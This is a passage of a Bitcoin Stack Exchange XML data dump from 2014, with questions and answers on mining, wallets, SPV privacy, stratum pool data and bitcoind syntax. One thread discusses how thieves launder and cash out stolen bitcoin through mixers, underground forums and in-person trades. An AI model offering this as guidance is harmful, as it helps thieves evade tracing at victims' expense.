hit the year 2016, we will only be rewarded 12.5 Bitcoins every 10 minutes. And in the year 2020, it will be 6.25 and so forth. When we hit the year 2060, we will only be able to mine maybe only a fraction of a Bitcoin every 10 minutes. So you can imagine the ratio of the supply to the demand when that time comes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Mining is modeled after physical gold mining. In the beginning it was easy to mine as all the gold (bitcoins) was readily seen above ground and anyone could pick it up off the ground. But as more people came to try to mine, all the low hanging fruit was taken. Now additional hardware was needed (ASIC Mining) as you had to dig deeper to find the gold (Bitcoins) and you needed more people to come help to dig deeper (called mining pools). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Mining isn't just about wasting electricity and getting a reward for it. It actually serves a real purpose, which is to secure the entire Bitcoin network from fraud and hackers. When miners mine for Bitcoins every 10 minutes, they are actually processing transactions for the entire network. When user A sends user B an amount of Bitcoins, it gets processed by these miners. It's just that the 25 Bitcoin reward is the incentive to secure the network. Ingenious isn't it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still left a bunch of jargon out, but it still isn't needed it to get the point across.  &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-05-16T16:13:34.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25395" PostTypeId="2" ParentId="25392" CreationDate="2014-05-16T20:18:32.760" Score="3" Body="&lt;p&gt;Do not use the raw protocol to issue refunds to addresses without first confirming with the sender that this is acceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most services generate unique addresses for each transaction.  Unless your customer owns the private key to the address from which the initial funds were sent, you can't be sure that they will receive the refund.  Different services have different implementations but if a customer sends you funds from a third party service that uses a single address for payments, the funds would be deducted from their account via a SQL entry and sent through a shared address.  The returned funds would be received by the service but not necessarily by your customer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should contact customers and have them confirm a refund address before sending.&lt;/p&gt;&#xA;" OwnerUserId="13925" LastActivityDate="2014-05-16T20:18:32.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25396" PostTypeId="2" ParentId="25392" CreationDate="2014-05-16T22:00:58.520" Score="1" Body="&lt;p&gt;If you can, try to get the refund address in advance. You can use &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow&quot;&gt;Payment Protocol&lt;/a&gt; (a new feature introduced in 0.9) for this.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-05-16T22:00:58.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25397" PostTypeId="1" AcceptedAnswerId="25400" CreationDate="2014-05-17T01:56:39.350" Score="6" ViewCount="794" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11054/understanding-spv-simple-payment-verification#answer-11721&quot;&gt;this&lt;/a&gt;, thin clients use bloom filters to request &quot;addresses and transactions they are interested in to the peer&quot;.  And according to &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0037.mediawiki&quot;&gt;this&lt;/a&gt;, bloom filters are used to help prevent the SPV peer from &quot;know[ing] which transactions belong to the client and which don't.&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the accuracy of bloom filters, and thus how easily the peer can deduct which addresses belong to the client, is determined by the thin client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how well do the major thin clients (Electrum, Multibit, Mycelium, etc.) protect the privacy of the addresses belonging to your wallet from their SPV peer?&lt;/p&gt;&#xA;" OwnerUserId="16812" LastEditorUserId="16812" LastEditDate="2014-05-17T02:29:41.707" LastActivityDate="2014-05-18T13:23:38.283" Title="Do thin clients leak which addresses you own?" Tags="|privacy|thin-clients|spv|bip37-bloom-filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25398" PostTypeId="1" AcceptedAnswerId="25401" CreationDate="2014-05-17T02:16:07.220" Score="1" ViewCount="104" Body="&lt;p&gt;Let's say I import a paper wallet's private key into my Bitcoin-Qt client.  I then manually sweep the entire balance from that private key to a different Bitcoin-Qt private key/address with a new transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will Bitcoin-Qt ever send change from a future transaction to the paper wallet's imported private key?&lt;/p&gt;&#xA;" OwnerUserId="16812" LastActivityDate="2014-06-10T07:44:57.187" Title="Would Bitcoin-Qt ever use an imported private key's public key as a future change address?" Tags="|bitcoin-core|import|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25399" PostTypeId="1" CreationDate="2014-05-17T02:27:23.757" Score="6" ViewCount="3957" Body="&lt;p&gt;Sweeping involves importing a private key, then sending it's entire balance to a new address in your wallet via a new transaction.  This would protect your paper wallet's bitcoins from being stolen if someone else ever had access to your paper wallet, or obtains access to your paper wallet in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to know all the nitty-gritty steps involved with Bitcoin-Qt.&lt;/p&gt;&#xA;" OwnerUserId="16812" LastActivityDate="2017-05-16T22:56:28.063" Title="How do you sweep a paper wallet with Bitcoin-Qt?" Tags="|bitcoin-core|paper-wallet|import|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25400" PostTypeId="2" ParentId="25397" CreationDate="2014-05-17T06:14:52.507" Score="5" Body="&lt;p&gt;&lt;strong&gt;Electrum:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No protection, the server you are connected to knows every address you own and will own in the future. If you use Tor your IP address is hidden, but the addresses are still associated. Bloom filters are not in use for this client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MultiBit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory the bloom filter can be modified to include junk data to hide your addresses with loads of fake ones, currently this is disabled for speed and so there's no protection. Your peers know your IP address and the contents of your wallet, Tor is not supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mycelium&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this client uses BitcoinJ (same as MultiBit) so the same caveats apply. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastEditorUserId="13413" LastEditDate="2014-05-18T13:23:38.283" LastActivityDate="2014-05-18T13:23:38.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25401" PostTypeId="2" ParentId="25398" CreationDate="2014-05-17T06:16:30.667" Score="2" Body="&lt;p&gt;No, only new addresses are used for change. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-05-17T06:16:30.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25404" PostTypeId="1" CreationDate="2014-05-17T08:50:49.597" Score="3" ViewCount="1245" Body="&lt;p&gt;So i just opened a Blockchain.info wallet after years of using Bitcoin-qt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Blockchain.info wallet had an empty wallet, i sent some bitcoins to it and right after that without waiting for confirmations i sent some bitcoins to satoshidice just to test. To my surprise the transaction went through, how is this possible if my bitcoins didn't even have 1 confirmation? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Blockchain.info &quot;lends&quot; me bitcoin, how can it do it?&lt;/p&gt;&#xA;" OwnerUserId="3418" LastActivityDate="2014-05-17T10:17:36.070" Title="How can Blockchain.info wallet send unconfirmed bitcoins?" Tags="|blockchain|blockchain.info|zero-confirmation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25406" PostTypeId="2" ParentId="25404" CreationDate="2014-05-17T10:17:36.070" Score="4" Body="&lt;p&gt;No, it does not lend you bitcoins but rather it &lt;strong&gt;spends&lt;/strong&gt; the very &lt;strong&gt;same TX outputs&lt;/strong&gt; that you have sent there. Thus, if your transaction turns out to be surpassed by another one (double spend), then also the transaction spending its output will be considered invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's like cutting a branch on a tree: all sub-branches will go down with the root one.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-05-17T10:17:36.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25408" PostTypeId="2" ParentId="25372" CreationDate="2014-05-17T11:06:29.637" Score="1" Body="&lt;p&gt;No, it's impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You first need to realize that the Bitcoin network is so successful because it is designed to be resilient from attackers &lt;em&gt;cooking&lt;/em&gt; their transactions and Bitcoin protocol messages. It is not some closed-source proprietary crap that only relies on a consistency of some nonfree software installed on your computer and breaks down as soon as somebody finds a way around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, the Network does not care what your local Bitcoin Core thinks or assumes to be true. Even if you managed to trick your client to send out the transaction, you would only be fooling yourself as no one else would believe it (because they all know it has already been spent before).&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-05-17T11:06:29.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25409" PostTypeId="2" ParentId="25368" CreationDate="2014-05-17T11:18:59.780" Score="2" Body="&lt;p&gt;First of all, there's nothing wrong about some inflation or deflation in general. You can hear lots of flame from various economists, some of them trying to persuade you that a small inflation is beneficial or even essential, but this is not necessarily true (one example is IT hardware market).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, that was just a note to calm down and think first when somebody is talking about inflation or deflation and keep in mind that there are different views on this, depending on various stuff, including philosophy or religion beliefs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, there is a difference in inflation in nominal amount and a real value. While Bitcoin is unarguably inflational in the sense of total units of currency &quot;minted&quot;, it is expected to be deflational in sense of real value. The reason is quite simple: the market growth is expected to be much bigger than the preset currency supply. If that is good or bad, that depends on your point of view :-)&lt;/p&gt;&#xA;" OwnerUserId="13530" LastEditorUserId="13530" LastEditDate="2014-06-15T07:52:41.200" LastActivityDate="2014-06-15T07:52:41.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25410" PostTypeId="1" CreationDate="2014-05-17T11:23:02.703" Score="0" ViewCount="174" Body="&lt;p&gt;Okay I'm working on a new pool-server though got a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using litecoin testnet right now to test stuff and here's a getblocktemplate() response I get;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;result&quot;: {&#xA;    &quot;version&quot;: 2,&#xA;    &quot;previousblockhash&quot;: &quot;8a39d544ae4f46bab42358baa72d338dc8d4ed764fc0cc578c16d339bb2aac4e&quot;,&#xA;    &quot;transactions&quot;: [],&#xA;    &quot;coinbaseaux&quot;: {&#xA;        &quot;flags&quot;: &quot;062f503253482f&quot;&#xA;    },&#xA;    &quot;coinbasevalue&quot;: 5000000000,&#xA;    &quot;target&quot;: &quot;0000014e2c000000000000000000000000000000000000000000000000000000&quot;,&#xA;    &quot;mintime&quot;: 1399898893,&#xA;    &quot;mutable&quot;: [&#xA;        &quot;time&quot;,&#xA;        &quot;transactions&quot;,&#xA;        &quot;prevblock&quot;&#xA;    ],&#xA;    &quot;noncerange&quot;: &quot;00000000ffffffff&quot;,&#xA;    &quot;sigoplimit&quot;: 20000,&#xA;    &quot;sizelimit&quot;: 1000000,&#xA;    &quot;curtime&quot;: 1399898982,&#xA;    &quot;bits&quot;: &quot;1e014e2c&quot;,&#xA;    &quot;height&quot;: 271882&#xA;},&#xA;&quot;error&quot;: null,&#xA;&quot;id&quot;: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see it doesn't contain any transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while building my mining.notify structure, should my merkle_branches contain the coinbase transaction (generation transaction) I created or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22929/full-example-data-for-scrypt-stratum-client&quot;&gt;here&lt;/a&gt; my notification should be similar to this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;job_id = &quot;b3ba&quot;&#xA;prevhash = &quot;7dcf1304b04e79024066cd9481aa464e2fe17966e19edf6f33970e1fe0b60277&quot;&#xA;coinb1 = &quot;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff270362f401062f503253482f049b8f175308&quot;&#xA;coinb2 = &quot;0d2f7374726174756d506f6f6c2f000000000100868591052100001976a91431482118f1d7504daf1c001cbfaf91ad580d176d88ac00000000&quot;&#xA;Merklebranches = [ &#xA;    &quot;57351e8569cb9d036187a79fd1844fd930c1309efcd16c46af9bb9713b6ee734&quot;, &#xA;    &quot;936ab9c33420f187acae660fcdb07ffdffa081273674f0f41e6ecc1347451d23&quot;&#xA;    ]&#xA;version = &quot;00000002&quot;&#xA;nbits = &quot;1b44dfdb&quot;&#xA;ntime = &quot;53178f9b&quot;&#xA;clean_jobs = true// Not required for block, just for completeness&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as I got 0 transactions from litecoin-testnet network to carry, my resulting json would not contain any merkle_branches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So should I include the coinbase transaction I generated?&lt;/p&gt;&#xA;" OwnerUserId="8899" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-04-25T20:33:01.773" Title="Should mining.notify.merkle_branches contain the coinbase transaction or not?" Tags="|mining-pools|development|mining-technical-details|stratum|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25411" PostTypeId="2" ParentId="25365" CreationDate="2014-05-17T11:35:20.857" Score="2" Body="&lt;p&gt;What Luca Matteis said pretty much holds (but see my comment below his answer). If you're looking for anonymity, Bitcoin exchanges are not really the place to go, at least not directly. You can however use a Bitcoin &lt;strong&gt;mixing service&lt;/strong&gt; (e.g. &lt;a href=&quot;https://bitmixer.io/&quot; rel=&quot;nofollow&quot;&gt;bitmixer.io&lt;/a&gt;) before you deposit your coins to the Exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative, you can use &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;LocalBitcoins&lt;/a&gt; to find somebody to exchange the coins with you anonymously.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-05-17T11:35:20.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25412" PostTypeId="2" ParentId="25360" CreationDate="2014-05-17T11:43:36.337" Score="2" Body="&lt;p&gt;No, you won't fool the standard client with this. If it does not understand the script completely (i.e. it is a nonstandard script), it does not try to &lt;em&gt;parse it partially&lt;/em&gt; or whatnot. The procedure is simple: if the client can't understand the script completely, it is simply ignored. Period.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-05-17T11:43:36.337" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25413" PostTypeId="2" ParentId="8252" CreationDate="2014-05-17T12:47:30.827" Score="-1" Body="&lt;p&gt;Another interesting point of views, by Dorit Ron and Prof Adi Shamir (- The &lt;strong&gt;S&lt;/strong&gt; from the RSA algorithm) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://eprint.iacr.org/2012/584.pdf&quot; rel=&quot;nofollow&quot;&gt;https://eprint.iacr.org/2012/584.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the abstract: &quot;...We downloaded the full history of this scheme, and analyzed many statistical properties of its associated transaction graph. In this paper we answer for the first time a variety of interesting questions about the typical behavior of users, how they acquire and how they spend their bitcoins, the balance of bitcoins they keep in their&#xA;accounts, and how they move bitcoins between their various accounts in order to better protect their privacy. In addition, we isolated all the large transactions in the system, and discovered that almost all of them are closely related to a single large transaction that took place in November 2010, even though the associated users apparently tried to hide this fact with many strange looking long chains and fork-merge structures in the transaction graph.&quot;&lt;/p&gt;&#xA;" OwnerUserId="16819" LastEditorUserId="16819" LastEditDate="2014-06-05T18:55:50.077" LastActivityDate="2014-06-05T18:55:50.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25415" PostTypeId="2" ParentId="25382" CreationDate="2014-05-17T13:12:50.037" Score="0" Body="&lt;p&gt;The public key is a point, the private key is a 256 bit integer. We don't actually store the point as x,y as part of the public key though, we store x and the sign of y to save space. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastEditorUserId="13413" LastEditDate="2014-05-21T03:04:38.947" LastActivityDate="2014-05-21T03:04:38.947" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25416" PostTypeId="1" CreationDate="2014-05-17T13:43:00.767" Score="11" ViewCount="6797" Body="&lt;p&gt;I've read about a lot of Bitcoin Heists and Thefts: from hackers that stole bitcoin from Exchange (Due to their poor security measures) or from Bitcoin users, to scam websites and so forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of these Heists and Thefts involve huge sums of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I was wondering: how can the hackers that had done these Heists/Thefts, be able to &quot;cash out&quot; the stolen bitcoin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say that an hacker has stolen 1000 bitcoin from Bob's wallet, and he wants to sell the bitcoin for USD (With the current exchange rate: 1000 bitcoin = $445.000), so that he will be able to &quot;enjoy&quot; the money in his real life. But how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Obfuscating the transactions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to the Blockcahin, everyone will be able to see all the transactions from the address (Or addresses) where the 1000 stolen bitcoin are (So Bob can try to track him down). I guess that the hacker could use a mixing service, but: can he trust the mixing service? (There is the risk that the mixing service is just a scam; or that the mixing service turns into a scam, when the hacker try to launder the 1000 bitcoin and instead of launder the bitcoin, the owner of the Mixing service just steals the hacker's bitcoin). Or probably, he has already created his own &quot;network&quot; of bitcoin addresses, so that he can launder the stolen bitcoin by himself? (but could this be possible to set up? Or it would require too much time and efforts?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Selling the bitcoin: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, he has to sell the bitcoin. Where? The vast majority of Bitcoin exchange require ID verification to be able to withdraw from them (Although there are few exchange that allow their clients to have unverified accounts, but they have strict limits such as 5000 USD o 10.0000 USD yearly, for example. And there is still the possibility that the exchange, being suspicious of these transactions, decides to froze the hacker's account.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably he can sell the bitcoin to other people that want to buy bitcoin, on forums and so on; but wouldn't be too risky? Firstly, the hacker will have to find a lot of users that want to buy bitcoin (I don't think that he will find a user that wants to buy 1000 bitcoin on a forum); moreover, there is the risk that the hacker gets scammed by one of the buyer. Lastly, the transactions will be displayed on the blockchain, so Bob can still track him down (if the hacker hadn't used a mixing service or something similar) and try to contact the users that have bought the bitcoin, asking them information about the hacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or probably the whole thing is much easier and hacker can have a bank account or a credit card (Obtained with Fake ID) that is not connected with his real identity? In this way, he could easily sell all the bitcoin that he wants to an exchanger and withdraw all the profits from the sale. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think about?&lt;/p&gt;&#xA;" OwnerUserId="15788" LastActivityDate="2019-11-18T07:30:26.633" Title="How can hackers cash out stolen bitcoin?" Tags="|exchanges|sell-bitcoins|theft|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25419" PostTypeId="2" ParentId="25416" CreationDate="2014-05-17T20:09:44.890" Score="5" Body="&lt;p&gt;Interesting points Paper, here some of my thoughts...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you said, on the underground (i.e. TOR) there are forums where thieves are selling dirty coins, with a favorable exchange rate (1 clean coin for 2 dirty coins for example). But to avoid scam I suppose they will use some kind of anonymous escrow service to perform the exchange, to guarantee that both parties are willing to complete the transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mixing service are also risky since they only guarantee anonymity if there are actually other user's coins to mix with. I remember some time ago, when a thief sent a huge amount of stolen coins at once to a mixing service, the returning coins were practically the same since on the mixing service there wasn't other users mixing such big amounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't get the point about &quot;his network of Bitcoin address&quot; what you mean? You can generate thousands of addresses and send coins back and forth, but this will actually just obfuscate (you can always track from start address to destination). The only way to really mix them, is to mix with other user's coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore many stolen coins are probably used to purchase illegal items from hidden markets  (drugs, weapons, pretty much anything). So they are actually &quot;enjoying&quot; them without the need to exchange them in &quot;real&quot; currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And last but not least, in person exchange (for example thorough localbitcoins.com or another local directory for Bitcoin buyer and sellers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="4671" LastEditorUserId="4671" LastEditDate="2014-05-17T20:54:25.710" LastActivityDate="2014-05-17T20:54:25.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25420" PostTypeId="1" CreationDate="2014-05-17T21:43:25.960" Score="2" ViewCount="2762" Body="&lt;p&gt;Some bitcoind commands have optional params. For example, when doing &quot;bitcoind help&quot;, it says the getrawmempool has a &quot;verbose&quot; param. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But no matter what I try, I can't seem to set this param on the command line. I've tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -verbose getrawmempool&#xA;bitcoind getrawmempool verbose&#xA;bitcoind getrawmempool -verbose&#xA;bitcoind getrawmempool verbose=1&#xA;bitcoind getrawmempool -verbose=1&#xA;bitcoind getrawmempool {&quot;verbose&quot;:&quot;1&quot;}&#xA;bitcoind getrawmempool {&quot;verbose&quot;:&quot;true&quot;}&#xA;bitcoind getrawmempool {\&quot;verbose\&quot;:\&quot;1\&quot;}&#xA;bitcoind getrawmempool {\&quot;verbose\&quot;:\&quot;true\&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Especially notice how the last few result in &quot;error: value type is obj, expected bool&quot; whereas the others give &quot;error parsing JSON&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I type on the command line &lt;em&gt;exactly&lt;/em&gt; in order to execute the 'getrawmempool' with the 'verbose' parameter?&lt;/p&gt;&#xA;" OwnerUserId="14357" LastActivityDate="2014-10-13T22:04:28.683" Title="Exactly how to add bitcoind params (e.g. &quot;verbose&quot;) on command line?" Tags="|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25421" PostTypeId="2" ParentId="25420" CreationDate="2014-05-18T00:36:36.063" Score="2" Body="&lt;p&gt;Usually it's fairly descriptive if you know what's going on, for example it looks for a  boolean on the end of that command, so this will do as you wish.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getrawmempool true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoin-cli&lt;/code&gt; has replaced &lt;code&gt;bitcoind&lt;/code&gt; for RPC commands, you'll need to get used to it as the RPC client is being removed from the &lt;code&gt;bitcoind&lt;/code&gt; binary fairly soon.&lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-05-18T00:36:36.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25422" PostTypeId="1" AcceptedAnswerId="25423" CreationDate="2014-05-18T04:00:01.463" Score="2" ViewCount="288" Body="&lt;p&gt;Is it possible to generate a key pair that has already been generated? Wouldn't it collide with an existing value? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume it is mathematically very unlikely, but odds higher than 0 are still possible.&lt;/p&gt;&#xA;" OwnerUserId="14633" LastActivityDate="2014-05-18T08:01:39.150" Title="How does the bitcoin network disallow people generating a key pair already generated?" Tags="|address|address-generation|" AnswerCount="1" CommentCount="1" ClosedDate="2014-05-19T08:03:43.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="25423" PostTypeId="2" ParentId="25422" CreationDate="2014-05-18T07:30:36.747" Score="4" Body="&lt;p&gt;Yes, it is possible to create an already generated and in use address. The chances of that is indeed larger then 0, but minimalistic. But really small. And if I say really small, I mean extremely small. And if I say extremely small, I mean very extremely ultra low super duper close to zero. It is definitely &lt;strong&gt;NOT&lt;/strong&gt; something to be considered as a weakness, never ever (because it will cost more energy before you have 50% to hit a duplicate address then the whole sun provides in its whole life time then). &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Generating_tons_of_addresses&quot; rel=&quot;nofollow&quot;&gt;source &lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-05-18T07:30:36.747" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25425" PostTypeId="2" ParentId="25280" CreationDate="2014-05-18T08:09:59.743" Score="1" Body="&lt;p&gt;The error it is giving you tells you that you need a version of libCURL with SSL support. Download the latest version with SSL support from below, open the Zip archive, go in to the &quot;dlls&quot; folder and replace the DLLs in your PHP installation with the new ones. Make sure you download the one which matches the architecture of your PHP installation, not the OS. For instance if you're running the 32 bit version of PHP on a 64 bit version of Windows, you'd want the 32 bit version of libCURL with SSL support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://curl.haxx.se/download.html&quot; rel=&quot;nofollow&quot;&gt;http://curl.haxx.se/download.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might need to restart IIS (or whatever web server you're using) after you replace the DLLs.&lt;/p&gt;&#xA;" OwnerUserId="15695" LastEditorUserId="15695" LastEditDate="2014-05-18T08:24:02.793" LastActivityDate="2014-05-18T08:24:02.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25426" PostTypeId="1" CreationDate="2014-05-18T09:08:27.960" Score="0" ViewCount="213" Body="&lt;p&gt;Say Belly, Alice and Teddy are Bitcoin clients.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Belly makes a transaction to send 1 btc to Alice.&lt;/li&gt;&#xA;&lt;li&gt;He broadcasts this transaction to the P2P network.&lt;/li&gt;&#xA;&lt;li&gt;Teddy calculates a valid hashcode and add Belly's transaction into his block chain.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then here is the question. How does Belly know his transaction has been accepted? Even he knows Teddy has added it into his block chain, this block chain can be rejected later if there is a longer block chain on the network, right? And what if Teddy is malicious and lying?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I heard you need to wait until 6 clients accept your transaction. I'm not sure what this exactly means. And why 6, not 5 or 7? &lt;/p&gt;&#xA;" OwnerUserId="16832" LastActivityDate="2014-05-18T17:09:20.987" Title="How does a Bitcoin client know its transaction has been accepted by the whole network?" Tags="|blockchain|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25427" PostTypeId="1" AcceptedAnswerId="25442" CreationDate="2014-05-18T09:22:06.220" Score="19" ViewCount="5358" Body="&lt;p&gt;Can somebody explain to me why the Bitcoin scripting system is purposefully not Turing-complete? To make malicious programs difficult to develop (I guess)? Or because it was difficult to make it Turing-complete?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin uses a scripting system for transactions. Forth-like, Script&#xA;  is simple, stack-based, and processed from left to right. It is&#xA;  purposefully not Turing-complete, with no loops.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Retrieved from: &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="121614" LastEditDate="2022-06-04T16:28:41.657" LastActivityDate="2023-09-25T16:20:45.547" Title="The Bitcoin scripting system is purposefully not Turing-complete - why?" Tags="|script|turing-completeness|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25429" PostTypeId="2" ParentId="2287" CreationDate="2014-05-18T11:00:10.877" Score="2" Body="&lt;p&gt;bitcoin data dir link in the wiki:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Data_directory&lt;/a&gt;&#xA;... shows where all the data files are located, the &quot;a proper folder&quot; link from ThePiachu 's post seems to have died since.&lt;/p&gt;&#xA;" OwnerUserId="15567" LastActivityDate="2014-05-18T11:00:10.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25430" PostTypeId="1" CreationDate="2014-05-18T11:07:10.657" Score="0" ViewCount="57" Body="&lt;p&gt;I have a list of unspent outputs. &#xA;Let's say: 0.4 BTC, 0.6 BTC and 1.0 BTC.&#xA;Now I want to create a new transaction for a 0.5 BTC. How I understand it, it would be best to take the 0.6 BTC output as input, and add 0.1 output as change.&#xA;The simpler way would be to just start at the beginning and add up inputs until I reached the desired amount. But that seems stupid...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this being done by the usual bitcoin clients?&#xA;What's the best way of finding the most optimal unspent outputs?&lt;/p&gt;&#xA;" OwnerUserId="12899" LastActivityDate="2014-05-18T13:27:14.250" Title="Optimising the inputs for a transaction" Tags="|transactions|blockchain|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
